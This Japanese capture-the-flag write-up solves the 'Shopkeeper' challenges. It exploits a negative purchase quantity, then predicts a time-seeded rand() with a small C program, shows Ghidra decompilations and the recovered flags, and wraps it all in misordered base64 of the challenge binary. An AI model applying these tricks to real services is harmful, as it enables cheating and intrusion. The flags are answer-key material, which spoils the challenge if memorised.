ICVkCgByAGZsYWctMS50eHQAQ2Fubm90IG9wZW4gZmlsZSAAZmxhZy0yLnR4dAAAAGZsYWd7YjRz
MzY0XzFzX3MwX2Mzd2xfd2gwX2tuM3dfeW91X2MwdTFkX2RvX3RoMTV9AAABGwM7WAAAAAoAAABU
7P//tAAAAETt//90AAAAdO3//6AAAAAm7v//3AAAAIPz///8AAAA2fX//xwBAACa9v//PAEAAFv3
//9cAQAAtPf//3wBAAAU+P//xAEAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEHEBAAAAAcAAAAyOz/
/ysAAAAAAAAAFAAAAAAAAAABelIAAXgQARsMBwiQAQAAEAAAABwAAADM7P//AQAAAAAAAAAkAAAA
MAAAAJjr///wAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAHAAAAFgAAABC7f//XQUAAABBDhCG
AkMNBgNYBQwHCAAcAAAAeAAAAH/y//9WAgAAAEEOEIYCQw0GA1ECDAcIABwAAACYAAAAtfT//8EA
AAAAQQ4QhgJDDQYCvAwHCAAAHAAAALgAAABW9f//wQAAAABBDhCGAkMNBgK8DAcIAAAcAAAA2AAA
APf1//9WAAAAAEEOEIYCQw0GAlEMBwgAAEQAAAD4AAAAMPb//10AAAAAQg4QjwJFDhiOA0UOII0E
RQ4ojAVIDjCGBkgOOIMHRw5Aag44QQ4wQQ4oQg4gQg4YQg4QQg4IABAAAABAAQAASPb//wEAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwEUAAAAAA
AMARQAAAAAAAAQAAAAAAAAABAAAAAAAAAAwAAAAAAAAAABBAAAAAAAANAAAAAAAAAOQbQAAAAAAA
GQAAAAAAAAAQPkAAAAAAABsAAAAAAAAACAAAAAAAAAAaAAAAAAAAABg+QAAAAAAAHAAAAAAAAAAI
AAAAAAAAAPX+/28AAAAACANAAAAAAAAFAAAAAAAAAOAEQAAAAAAABgAAAAAAAAAwA0AAAAAAAAoA
AAAAAAAAlAAAAAAAAAALAAAAAAAAABgAAAAAAAAAFQAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAEBA
AAAAAAACAAAAAAAAAFABAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAAAZAAAAAAAAHAAAA
AAAAALgFQAAAAAAACAAAAAAAAABIAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD+//9vAAAAAJgFQAAA
AAAA////bwAAAAABAAAAAAAAAPD//28AAAAAdAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAID5AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
NhBAAAAAAABGEEAAAAAAAFYQQAAAAAAAZhBAAAAAAAB2EEAAAAAAAIYQQAAAAAAAlhBAAAAAAACm
EEAAAAAAALYQQAAAAAAAxhBAAAAAAADWEEAAAAAAAOYQQAAAAAAA9hBAAAAAAAAGEUAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAKR0NDOiAoRGViaWFuIDguMy4wLTYpIDguMy4wAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAADAAEAqAJAAAAAAAAAAAAAAAAAAAAAAAADAAIAxAJAAAAAAAAAAAAA
AAAAAAAAAAADAAMA5AJAAAAAAAAAAAAAAAAAAAAAAAADAAQACANAAAAAAAAAAAAAAAAAAAAAAAAD
AAUAMANAAAAAAAAAAAAAAAAAAAAAAAADAAYA4ARAAAAAAAAAAAAAAAAAAAAAAAADAAcAdAVAAAAA
AAAAAAAAAAAAAAAAAAADAAgAmAVAAAAAAAAAAAAAAAAAAAAAAAADAAkAuAVAAAAAAAAAAAAAAAAA
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
YXlfZW50cnkAY2hhbC5jAF9fRlJBTUVfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBf
X2luaXRfYXJyYXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxF
XwBfX2xpYmNfY3N1X2ZpbmkAcHV0Y2hhckBAR0xJQkNfMi4yLjUAc3Rkb3V0QEBHTElCQ18yLjIu
NQBwdXRzQEBHTElCQ18yLjIuNQBfZWRhdGEAZmNsb3NlQEBHTElCQ18yLjIuNQBzeXN0ZW1AQEdM
SUJDXzIuMi41AExldmVsMgBmZ2V0Y0BAR0xJQkNfMi4yLjUAcHJpbnRfZmxhZ18yAF9fbGliY19z
dGFydF9tYWluQEBHTElCQ18yLjIuNQBzcmFuZEBAR0xJQkNfMi4yLjUAX19kYXRhX3N0YXJ0AGdl
dGNoYXJAQEdMSUJDXzIuMi41AGZwcmludGZAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAF9f
ZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZAB0aW1lQEBHTElCQ18yLjIuNQBfX2xpYmNfY3N1X2lu
aXQAZmZsdXNoQEBHTElCQ18yLjIuNQBfZGxfcmVsb2NhdGVfc3RhdGljX3BpZQBfX2Jzc19zdGFy
dABtYWluAGZvcGVuQEBHTElCQ18yLjIuNQBjb2lucwBMZXZlbDEAcHJpbnRfZmxhZ18xAGV4aXRA
QEdMSUJDXzIuMi41AGZ3cml0ZUBAR0xJQkNfMi4yLjUAX19UTUNfRU5EX18AAC5zeW10YWIALnN0
cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAu
Z251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVs
YS5keW4ALnJlbGEucGx0AC5pbml0AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAu
ZWhfZnJhbWUALmluaXRfYXJyYXkALmZpbmlfYXJyYXkALmR5bmFtaWMALmdvdAAuZ290LnBsdAAu
ZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAKgCQAAAAAAA
qAIAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAADE
AkAAAAAAAMQCAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIA
AAAAAAAA5AJAAAAAAADkAgAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAA
APb//28CAAAAAAAAAAgDQAAAAAAACAMAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAA
AAAAAE4AAAALAAAAAgAAAAAAAAAwA0AAAAAAADADAAAAAAAAsAEAAAAAAAAGAAAAAQAAAAgAAAAA
AAAAGAAAAAAAAABWAAAAAwAAAAIAAAAAAAAA4ARAAAAAAADgBAAAAAAAAJQAAAAAAAAAAAAAAAAA
AAABAAAAAAAAAAAAAAAAAAAAXgAAAP///28CAAAAAAAAAHQFQAAAAAAAdAUAAAAAAAAkAAAAAAAA
AAUAAAAAAAAAAgAAAAAAAAACAAAAAAAAAGsAAAD+//9vAgAAAAAAAACYBUAAAAAAAJgFAAAAAAAA
IAAAAAAAAAAGAAAAAQAAAAgAAAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAuAVAAAAAAAC4
BQAAAAAAAEgAAAAAAAAABQAAAAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAAAG
QAAAAAAAAAYAAAAAAABQAQAAAAAAAAUAAAAWAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAA
AAAAAAAAEEAAAAAAAAAQAAAAAAAAFwAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAA
AQAAAAYAAAAAAAAAIBBAAAAAAAAgEAAAAAAAAPAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAA
AAAAlAAAAAEAAAAGAAAAAAAAABARQAAAAAAAEBEAAAAAAADRCgAAAAAAAAAAAAAAAAAAEAAAAAAA
AAAAAAAAAAAAAJoAAAABAAAABgAAAAAAAADkG0AAAAAAAOQbAAAAAAAACQAAAAAAAAAAAAAAAAAA
AAQAAAAAAAAAAAAAAAAAAACgAAAAAQAAAAIAAAAAAAAAACBAAAAAAAAAIAAAAAAAAMsDAAAAAAAA
AAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAqAAAAAEAAAACAAAAAAAAAMwjQAAAAAAAzCMAAAAAAABc
AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAALYAAAABAAAAAgAAAAAAAAAoJEAAAAAAACgk
AAAAAAAAgAEAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADAAAAADgAAAAMAAAAAAAAAED5A
AAAAAAAQLgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAzAAAAA8AAAADAAAA
AAAAABg+QAAAAAAAGC4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANgAAAAG
AAAAAwAAAAAAAAAgPkAAAAAAACAuAAAAAAAA0AEAAAAAAAAGAAAAAAAAAAgAAAAAAAAAEAAAAAAA
AADhAAAAAQAAAAMAAAAAAAAA8D9AAAAAAADwLwAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAA
AAgAAAAAAAAA5gAAAAEAAAADAAAAAAAAAABAQAAAAAAAADAAAAAAAACIAAAAAAAAAAAAAAAAAAAA
CAAAAAAAAAAIAAAAAAAAAO8AAAABAAAAAwAAAAAAAACIQEAAAAAAAIgwAAAAAAAAEQAAAAAAAAAA
AAAAAAAAAAgAAAAAAAAAAAAAAAAAAAD1AAAACAAAAAMAAAAAAAAAoEBAAAAAAACZMAAAAAAAABAA
AAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA+gAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAmTAA
AAAAAAAcAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAA
AAAAALgwAAAAAAAAgAcAAAAAAAAbAAAAKwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAA
AAAAAAAAAAAAAAA4OAAAAAAAAPYCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMA
AAAAAAAAAAAAAAAAAAAAAAAALjsAAAAAAAADAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAA
AA==
Welcome to my Shop!
What would you like to do?
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
2
How many Oranges would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
2
How many Oranges would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
2
How many Oranges would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
2
How many Oranges would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
2
How many Oranges would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
3
You have 100 gold coins!
You have 0 Apples!
You have -15 Oranges!
You have 0 Keys to the Flag!
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
3
How many Keys to the Flag would you like to buy?
1
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
3
You have 0 gold coins!
You have 0 Apples!
You have -15 Oranges!
You have 1 Keys to the Flag!
Congrats!! You have the key!
flag{g00d_job_y0u_b3at_7he_sh0pk3eper}
You didn't start all over again!
flag{g00d_job_y0u_b3at_7he_sh0pk3eper}

Shopkeeper 3 (rev)

Shopkeeper 2の続き。
Ghidraでデコンパイルする。

undefined8 print_flag_2(void)

{
  char cVar1;
  int iVar2;
  FILE *__stream;
  undefined8 uVar3;
  char local_9;
  
  cVar1 = Level2();
  if (cVar1 == '\0') {
    uVar3 = 0;
  }
  else {
    __stream = fopen("flag-2.txt","r");
    if (__stream == (FILE *)0x0) {
      puts("Cannot open file ");
      fflush(stdout);
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    iVar2 = fgetc(__stream);
    local_9 = (char)iVar2;
    while (local_9 != -1) {
      putchar((int)local_9);
      iVar2 = fgetc(__stream);
      local_9 = (char)iVar2;
    }
    fclose(__stream);
    putchar(10);
    fflush(stdout);
    uVar3 = 1;
  }
  return uVar3;
}

undefined8 Level2(void)

{
  char cVar1;
  int iVar2;
  int iVar3;
  undefined8 uVar4;
  time_t tVar5;
  
  if (coins == 0x13) {
    tVar5 = time((time_t *)0x0);
    fprintf(stdout,"Time: %zu\n",tVar5);
    srand((uint)tVar5);
    while (coins != 0x37) {
      fwrite("How much money do you want to bet?\n",1,0x23,stdout);
      fflush(stdout);
      iVar2 = getchar();
      if ((char)iVar2 < '\0') {
        fwrite("Don\'t try cheating!\n",1,0x14,stdout);
        fflush(stdout);
        return 0;
      }
      cVar1 = (char)iVar2 + -0x30;
      if (((int)(uint)coins < (int)cVar1) || (cVar1 < '\0')) {
        fwrite("Don\'t try cheating!\n",1,0x14,stdout);
        fflush(stdout);
        return 0;
      }
      fwrite("What is the value? (0-9)\n",1,0x19,stdout);
      fflush(stdout);
      iVar2 = getchar();
      iVar3 = rand();
      if (iVar3 % 10 == (int)(char)((char)iVar2 + -0x30)) {
        fwrite("Correct!\n",1,9,stdout);
        fflush(stdout);
        coins = cVar1 + coins;
      }
      else {
        fprintf(stdout,"Correct Value was: %d\n",(ulong)(uint)(iVar3 % 10));
        fflush(stdout);
      }
    }
    uVar4 = 1;
  }
  else {
    fwrite("You didn\'t start all over again!\n",1,0x21,stdout);
    fflush(stdout);
    uVar4 = 0;
  }
  return uVar4;
}

Level2関数の本体に入るためにはコインを19残す必要がある。"-"を指定すると、個数は-3個になる。Apple1個は2コイン、Orange1個は6コイン。Apple1個を売ると1コインで売れる。Appleを1個買って、1個売ると、9コインになる。その後、マイナスの購入で、19になるよう調整する。

9 + 6*5 + 18*5 - 100 = 29

Apple, Orangeを"-"で5回ずつ購入、Flagを1個購入、Appleを5個購入すればよい。これでLevel2関数の本体に入れる。
1回目に掛けるコイン数を指定する。seedがわかっているので、次にiVar3%10の値を推測する。coinsは19から55に増やす必要があるので、36増やす必要がある。9コインかけて4回当てれば、条件を満たす。
別にUNIXTIMEからランダム値を出力するプログラムを作成し、合わせて実行する。

$ cat solve.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void main(int argc, char *argv[]) {
    int seed;
    int r;
    if (argc < 2) {
        return;
    }
    seed = atoi(argv[1]);
    srand(seed);
    for (int i=0; i<4; i++){
        r = rand() % 10;
        printf("%d\n", r);
    }
}
$ gcc solve.c -o solve
$ nc cha.hackpack.club 10992
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAEBFAAAAAAABAAAAAAAAAADg8AAAAAAAAAAAAAEAAOAAL
AEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAaAIAAAAAAABoAgAAAAAAAAgA
AAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCQAAAAAAAqAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
AAAAAAABAAAABAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFAHAAAAAAAAUAcAAAAAAAAAEAAA
AAAAAAEAAAAFAAAAABAAAAAAAAAAEEAAAAAAAAAQQAAAAAAA7QsAAAAAAADtCwAAAAAAAAAQAAAA
AAAAAQAAAAQAAAAAIAAAAAAAAAAgQAAAAAAAACBAAAAAAACoBQAAAAAAAKgFAAAAAAAAABAAAAAA
AAABAAAABgAAABAuAAAAAAAAED5AAAAAAAAQPkAAAAAAAIkCAAAAAAAAoAIAAAAAAAAAEAAAAAAA
AAIAAAAGAAAAIC4AAAAAAAAgPkAAAAAAACA+QAAAAAAA0AEAAAAAAADQAQAAAAAAAAgAAAAAAAAA
BAAAAAQAAADEAgAAAAAAAMQCQAAAAAAAxAJAAAAAAABEAAAAAAAAAEQAAAAAAAAABAAAAAAAAABQ
5XRkBAAAAMwjAAAAAAAAzCNAAAAAAADMI0AAAAAAAFwAAAAAAAAAXAAAAAAAAAAEAAAAAAAAAFHl
dGQHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAUuV0
ZAQAAAAQLgAAAAAAABA+QAAAAAAAED5AAAAAAADwAQAAAAAAAPABAAAAAAAAAQAAAAAAAAAvbGli
NjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAADAAAAAgAAAAAAAAAE
AAAAFAAAAAMAAABHTlUARNd+Y8jcZOOTEoAAzxNSOwI6nUQCAAAAEQAAAAEAAAAGAAAAAAAAAAAB
EAARAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALQAAABIAAAAAAAAAAAAA
AAAAAAAAAAAAIwAAABIAAAAAAAAAAAAAAAAAAAAAAAAASgAAABIAAAAAAAAAAAAAAAAAAAAAAAAA
UQAAABIAAAAAAAAAAAAAAAAAAAAAAAAANQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAZwAAABIAAAAA
AAAAAAAAAAAAAAAAAAAAFwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAOwAAABIAAAAAAAAAAAAAAAAA
AAAAAAAAXwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAhQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAKAAA
ABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAHQAAABIAAAAAAAAA
AAAAAAAAAAAAAAAAEgAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAABIAAAAAAAAAAAAAAAAAAAAA
AAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAQwAAABEAGACgQEAAAAAAAAgAAAAAAAAAAGxpYmMu
c28uNgBmZmx1c2gAZXhpdABzcmFuZABmb3BlbgBwdXRzAHRpbWUAcHV0Y2hhcgBmZ2V0YwBnZXRj
aGFyAHN0ZG91dABmY2xvc2UAc3lzdGVtAGZ3cml0ZQBmcHJpbnRmAF9fbGliY19zdGFydF9tYWlu
